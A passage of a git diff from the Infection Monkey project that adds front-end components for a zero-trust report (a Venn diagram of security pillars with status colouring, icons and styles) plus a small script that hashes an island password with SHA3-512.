+                                          style={{backgroundColor: data.hex}}
+                                          title={data.node.pillar}>{data.tooltip}</Popover>} rootClose>
+          <circle
+            id={prefix + 'Node_' + index}
+            className={'circularNode'}
+            data-tooltip={data.tooltip}
+            r={data.r}
+            opacity={0.8}
+            fill={data.hex}
+            onClick={this.handleClick.bind(this)}
+            onMouseEnter={this.handleOver.bind(this)}
+            onMouseLeave={this.handleOut.bind(this)}
+
+          />
+        </OverlayTrigger>
+        <foreignObject style={{fontSize: data.fontStyle.size, pointerEvents: 'none'}}
+                       key={prefix + 'PillarLabelOject' + index} x={data.offset.x - data.fontStyle.size * 6}
+                       y={data.offset.y - data.fontStyle.size} width={data.fontStyle.size * 12}
+                       height={data.fontStyle.size * 6}>
+          <PillarLabel key={prefix + 'PillarLabel' + index} pillar={data.node.pillar} status={data.status}/>
+        </foreignObject>
+      </g>
+    );
+  }
+
+
+  handleClick(e_) {
+    this.props.disableHover(this.refs.overlay);
+  }
+
+  handleOver(e_) {
+    if (this.props.hover) {
+      this.refs.overlay.show();
+    }
+  }
+
+  handleOut(e_) {
+    if (this.props.hover) {
+      this.refs.overlay.hide();
+    }
+  }
+
+}
+
+CircularNode.propTypes = {
+  index: PropTypes.number,
+  data: PropTypes.object
+};
+
+export default CircularNode;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js
new file mode 100644
index 000000000..4b2069f06
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/ResponsiveVennDiagram.js
@@ -0,0 +1,28 @@
+import React from 'react'
+import PropTypes from 'prop-types'
+import Dimensions from 'react-dimensions'
+import VennDiagram from './VennDiagram'
+
+const VENN_MIN_WIDTH = '300px';
+
+class ResponsiveVennDiagram extends React.Component {
+  constructor(props) {
+    super(props);
+  }
+
+  render() {
+    const {pillarsGrades} = this.props;
+
+    return (
+      <div ref={this.divElement} style={{textAlign: 'center'}}>
+        <VennDiagram style={{minWidth: VENN_MIN_WIDTH, minHeight: VENN_MIN_WIDTH}} pillarsGrades={pillarsGrades}/>
+      </div>
+    );
+  }
+}
+
+ResponsiveVennDiagram.propTypes = {
+  pillarsGrades: PropTypes.array
+};
+
+export default Dimensions()(ResponsiveVennDiagram);
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js
new file mode 100644
index 000000000..fa9309506
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/Utility.js
@@ -0,0 +1,9 @@
+export class TypographicUtilities {
+  static removeAmpersand(string_) {
+    return string_.replace(' & ', 'And');
+  }
+
+  static removeBrokenBar(string_) {
+    return string_.replace(/\|/g, ' ');
+  }
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css
new file mode 100644
index 000000000..dd4883125
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.css
@@ -0,0 +1,17 @@
+@import url('https://fonts.googleapis.com/css?family=Noto+Sans&display=swap');
+
+body {
+  margin: 0;
+  font-family: "Noto Sans", sans-serif;
+}
+
+svg {
+
+  -webkit-touch-callout: none; /* iOS Safari */
+  -webkit-user-select: none; /* Safari */
+  -khtml-user-select: none; /* Konqueror HTML */
+  -moz-user-select: none; /* Firefox */
+  -ms-user-select: none; /* Internet Explorer/Edge */
+  user-select: none; /* Non-prefixed version, currently supported by Chrome and Opera */
+
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
new file mode 100644
index 000000000..70304daad
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js
@@ -0,0 +1,280 @@
+import React from 'react'
+import PropTypes from 'prop-types'
+import CircularNode from './CircularNode'
+import ArcNode from './ArcNode'
+import {TypographicUtilities} from './Utility.js'
+import './VennDiagram.css'
+import {ZeroTrustStatuses} from "../ZeroTrustPillars";
+
+class VennDiagram extends React.Component {
+  constructor(props_) {
+    super(props_);
+
+    this.state = {hover: true, currentPopover: undefined};
+    this._disableHover = this._disableHover.bind(this);
+
+    this.width = this.height = 512;
+
+    this.prefix = 'vennDiagram';
+    this.fontStyles = [{size: Math.max(9, this.width / 28), color: 'white'}, {
+      size: Math.max(6, this.width / 38),
+      color: 'white'
+    }, {size: Math.max(6, this.width / 48), color: 'white'}];
+    this.offset = this.width / 16;
+
+    this.thirdWidth = this.width / 3;
+    this.width11By2 = this.width / 5.5;
+    this.width2By7 = 2 * this.width / 7;
+    this.width1By11 = this.width / 11;
+    this.width1By28 = this.width / 28;
+    this.arcNodesGap = 4;
+
+    this.layout = {
+      Data: {cx: 0, cy: 0, r: this.width11By2, offset: {x: 0, y: 0}, popover: 'top'},
+      People: {
+        cx: -this.width2By7,
+        cy: 0,
+        r: this.width11By2,
+        offset: {x: this.width1By11 + this.fontStyles[1].size / 5 * 3, y: 0},
+        popover: 'right'
+      },
+      Networks: {
+        cx: this.width2By7,
+        cy: 0,
+        r: this.width11By2,
+        offset: {x: -this.width1By11 - this.fontStyles[1].size / 5 * 3, y: 0},
+        popover: 'left'
+      },
+      Devices: {
+        cx: 0,
+        cy: this.width2By7,
+        r: this.width11By2,
+        offset: {x: 0, y: -this.width1By11 + this.fontStyles[1].size / 6 * 3},
+        popover: 'top'
+      },
+      Workloads: {
+        cx: 0,
+        cy: -this.width2By7,
+        r: this.width11By2,
+        offset: {x: 0, y: this.width1By11},
+        popover: 'bottom'
+      },
+      VisibilityAndAnalytics: {
+        inner: this.thirdWidth - this.width1By28,
+        outer: this.thirdWidth,
+        icon: '\uf070',
+        popover: 'right'
+      },
+      AutomationAndOrchestration: {
+        inner: this.thirdWidth - this.width1By28 * 2 - this.arcNodesGap,
+        outer: this.thirdWidth - this.width1By28 - this.arcNodesGap,
+        icon: '\uf085',
+        popover: 'right'
+      }
+    };
+
+    /*
+
+    RULE #1: All scores have to be equal 0, except Unexecuted [U] which could be also a negative integer
+             sum(C, I, P) has to be <=0
+
+    RULE #2: Failed [C] has to be > 0,
+             sum(C) > 0
+
+    RULE #3: Verify [I] has to be > 0 while Failed has to be 0,
+             sum(C, I) > 0 and C * I = 0, while C has to be 0
+
+    RULE #4: By process of elimination, passed.
+             if the P is bigger by 2 then negative U, first conditional
+             would be true.
+    */
+
+    this.rules = [
+
+      {
+        id: 'Rule #1', status: ZeroTrustStatuses.unexecuted, hex: '#777777', f: function (d_) {
+          return d_[ZeroTrustStatuses.failed] + d_[ZeroTrustStatuses.verify] + d_[ZeroTrustStatuses.passed] === 0;
+        }
+      },
+      {
+        id: 'Rule #2', status: ZeroTrustStatuses.failed, hex: '#D9534F', f: function (d_) {
+          return d_[ZeroTrustStatuses.failed] > 0;
+        }
+      },
+      {
+        id: 'Rule #3', status: ZeroTrustStatuses.verify, hex: '#F0AD4E', f: function (d_) {
+          return d_[ZeroTrustStatuses.failed] === 0 && d_[ZeroTrustStatuses.verify] > 0;
+        }
+      },
+      {
+        id: 'Rule #4', status: ZeroTrustStatuses.passed, hex: '#5CB85C', f: function (d_) {
+          return d_[ZeroTrustStatuses.passed] > 0;
+        }
+      }
+
+    ];
+
+  }
+
+  componentDidMount() {
+    this.parseData();
+    if (this.state.currentPopover !== undefined) {
+      this.state.currentPopover.show();
+    }
+  }
+
+  _disableHover(ref_) {
+    this.setState({hover: false, currentPopover: ref_, data: this.state.data});
+  }
+
+  _onMouseMove(e) {
+
+    let self = this;
+
+    let hidden = 'none';
+    let html = '';
+    let bcolor = '#DEDEDE';
+
+    if (this.state.currentPopover !== undefined) {
+      this.state.currentPopover.show();
+    }
+
+    document.querySelectorAll('circle, path').forEach((d_, i_) => {
+      d_.setAttribute('opacity', "0.8");
+    });
+
+    if (e.target.id.includes('Node')) {
+
+      e.target.setAttribute('opacity', 0.95);
+
+      // Set highest z-index
+      e.target.parentNode.parentNode.appendChild(e.target.parentNode);
+
+    } else {
+
+      // Return z indices to default
+      Object.keys(this.layout).forEach(function (d_, i_) {
+        document.querySelector('#' + self.prefix).appendChild(document.querySelector('#' + self.prefix + 'Node_' + i_).parentNode);
+      })
+    }
+
+  }
+
+  _onClick(e) {
+
+    if (!e.target.id.includes('Node')) {
+
+      this.state.currentPopover.hide();
+      this.setState({hover: true, currentPopover: undefined, data: this.state.data});
+    }
+  }
+
+  parseData() {
+
+    let self = this;
+    let data = [];
+    const omit = (prop, {[prop]: _, ...rest}) => rest;
+
+    this.props.pillarsGrades.forEach((d_, i_) => {
+
+      let params = omit('pillar', d_);
+      let sum = Object.keys(params).reduce((sum_, key_) => sum_ + parseFloat(params[key_] || 0), 0);
+      let key = TypographicUtilities.removeAmpersand(d_.pillar);
+      let html = self.buildTooltipHtmlContent(params);
+      let rule = null;
+
+      for (let j = 0; j < self.rules.length; j++) {
+        if (self.rules[j].f(d_)) {
+          rule = j;
+          break;
+        }
+      }
+
+      self.setLayoutElement(rule, key, html, d_);
+      data.push(this.layout[key]);
+
+    });
+
+    this.setState({hover: true, activePopover: undefined, data: data});
+    this.render();
+  }
+
+  buildTooltipHtmlContent(object_) {
+
+    return Object.keys(object_).map((key_, i_) => {
+      return (<p key={this.prefix + key_ + i_}>{key_}: {object_[key_]}</p>)
+    })
+  }
+
+  setLayoutElement(rule_, key_, html_, d_) {
+
+    if (rule_ === null) {
+      console.log(Error('The node scores are invalid, please check the data or the rules set.'));
+    }
+
+    if (key_ === 'Data') {
+      this.layout[key_].fontStyle = this.fontStyles[0];
+    } else if (this.layout[key_].hasOwnProperty('cx')) {
+      this.layout[key_].fontStyle = this.fontStyles[1];
+    } else {
+      this.layout[key_].fontStyle = this.fontStyles[2];
+    }
+
+    this.layout[key_].hex = this.rules[rule_].hex;
+    this.layout[key_].status = this.rules[rule_].status;
+    this.layout[key_].label = d_.pillar;
+    this.layout[key_].node = d_;
+    this.layout[key_].tooltip = html_;
+  }
+
+  render() {
+    if (this.state.data === undefined) {
+      return null;
+    } else {
+      // equivalent to center translate (width/2, height/2)
+      let viewPortParameters = (-this.width / 2) + ' ' + (-this.height / 2) + ' ' + this.width + ' ' + this.height;
+      let nodes = Object.values(this.layout).map((d_, i_) => {
+        if (d_.hasOwnProperty('cx')) {
+          return (
+            <CircularNode
+              prefix={this.prefix}
+              key={this.prefix + 'CircularNode' + i_}
+              index={i_}
+              data={d_}
+              hover={this.state.hover}
+              disableHover={this._disableHover}
+            />
+          );
+        } else {
+          d_.label = TypographicUtilities.removeBrokenBar(d_.label);
+          return (
+            <ArcNode
+              prefix={this.prefix}
+              key={this.prefix + 'ArcNode' + i_}
+              index={i_}
+              data={d_}
+              hover={this.state.hover}
+              disableHover={this._disableHover}
+            />
+          );
+        }
+      });
+
+      return (
+        <div ref={(divElement) => this.divElement = divElement} onMouseMove={this._onMouseMove.bind(this)}
+             onClick={this._onClick.bind(this)}>
+          <svg id={this.prefix} viewBox={viewPortParameters} width={'100%'} height={'100%'}
+               xmlns='http://www.w3.org/2000/svg' xmlnsXlink='http://www.w3.org/1999/xlink'>
+            {nodes}
+          </svg>
+        </div>
+      )
+    }
+  }
+}
+
+VennDiagram.propTypes = {
+  pillarsGrades: PropTypes.array
+};
+
+export default VennDiagram;
diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js
new file mode 100644
index 000000000..6ad124457
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/utils/SaveJsonToFile.js
@@ -0,0 +1,7 @@
+import FileSaver from "file-saver";
+
+export default function saveJsonToFile(dataToSave, filename) {
+  const content = JSON.stringify(dataToSave, null, 2);
+  const blob = new Blob([content], {type: "text/plain;charset=utf-8"});
+  FileSaver.saveAs(blob, filename + ".json");
+}
diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
new file mode 100644
index 000000000..507541be4
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-machine-icon.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 44 44"><title>im-alert-machine-icon</title><g id="Layer_2" data-name="Layer 2"><g id="originals"><circle cx="22" cy="22" r="22" style="fill:#fc2"/><rect x="10" y="14" width="24" height="16.20144" style="fill:none;stroke:#333;stroke-miterlimit:10;stroke-width:1.9409949287049788px"/><rect x="21" y="17" width="2" height="6" style="fill:#333"/><rect x="21" y="25" width="2" height="2" style="fill:#333"/><rect x="18" y="31" width="8" height="3" style="fill:#333"/></g></g></svg>
\ No newline at end of file
diff --git a/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
new file mode 100644
index 000000000..50dcc6726
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/images/zerotrust/im-alert-network-icon.svg
@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 44 44"><title>im-alert-network-icon</title><g id="Layer_2" data-name="Layer 2"><g id="originals"><circle cx="22" cy="22" r="22" style="fill:#fc2"/><circle cx="16.5" cy="7.5" r="2.5" style="fill:#333"/><circle cx="6.5" cy="23.5" r="2.5" style="fill:#333"/><circle cx="11" cy="32" r="2" style="fill:#333"/><circle cx="21.5" cy="37.5" r="2.49988" style="fill:#333"/><circle cx="35" cy="30" r="2" style="fill:#333"/><circle cx="33" cy="12" r="2" style="fill:#333"/><line x1="35" y1="30" x2="22" y2="22" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="21.5" y1="38" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="11.5" y1="31.5" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="21.5" y1="22.5" x2="6.5" y2="23.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="16.5" y1="7.5" x2="22.5" y2="23.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="33.5" y1="11.5" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><circle cx="22" cy="22" r="9" style="fill:#fc2;stroke:#333;stroke-miterlimit:10;stroke-width:2px"/><rect x="21" y="17" width="2" height="6" style="fill:#333"/><rect x="21" y="25" width="2" height="2" style="fill:#333"/></g></g></svg>
\ No newline at end of file
diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css
index 9fc468f77..109f1c147 100644
--- a/monkey/monkey_island/cc/ui/src/styles/App.css
+++ b/monkey/monkey_island/cc/ui/src/styles/App.css
@@ -525,6 +525,14 @@ body {
   margin-bottom: 30px;
 }
 
+.attack-matrix {
+  margin-bottom: 20px;
+}
+
+.attack-report .btn-collapse span:nth-of-type(2){
+  flex: 0;
+}
+
 .icon-info {
   color: #ade3eb !important;
 }
@@ -541,6 +549,22 @@ body {
   color: #e0ddde !important;
 }
 
+.status-success {
+  color: #24b716 !important;
+}
+
+.status-warning {
+  color: #b1a91c !important;
+}
+
+.status-danger {
+  color: #d91016 !important;
+}
+
+.status-default {
+  color: #575556 !important;
+}
+
 .attack-legend {
   text-align: center;
   margin-bottom: 20px;
diff --git a/monkey/monkey_island/scripts/island_password_hasher.py b/monkey/monkey_island/scripts/island_password_hasher.py
new file mode 100644
index 000000000..159e0d098
--- /dev/null
+++ b/monkey/monkey_island/scripts/island_password_hasher.py
@@ -0,0 +1,23 @@
+"""
+Utility script for running a string through SHA3_512 hash.
+Used for Monkey Island password hash, see
+https://github.com/guardicore/monkey/wiki/Enabling-Monkey-Island-Password-Protection
+for more details.
+"""
+
+import argparse
+from Crypto.Hash import SHA3_512
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("string_to_sha", help="The string to do sha for")
+    args = parser.parse_args()
+
+    h = SHA3_512.new()
+    h.update(args.string_to_sha)
+    print(h.hexdigest())
+
+
+if __name__ == '__main__':
+    main()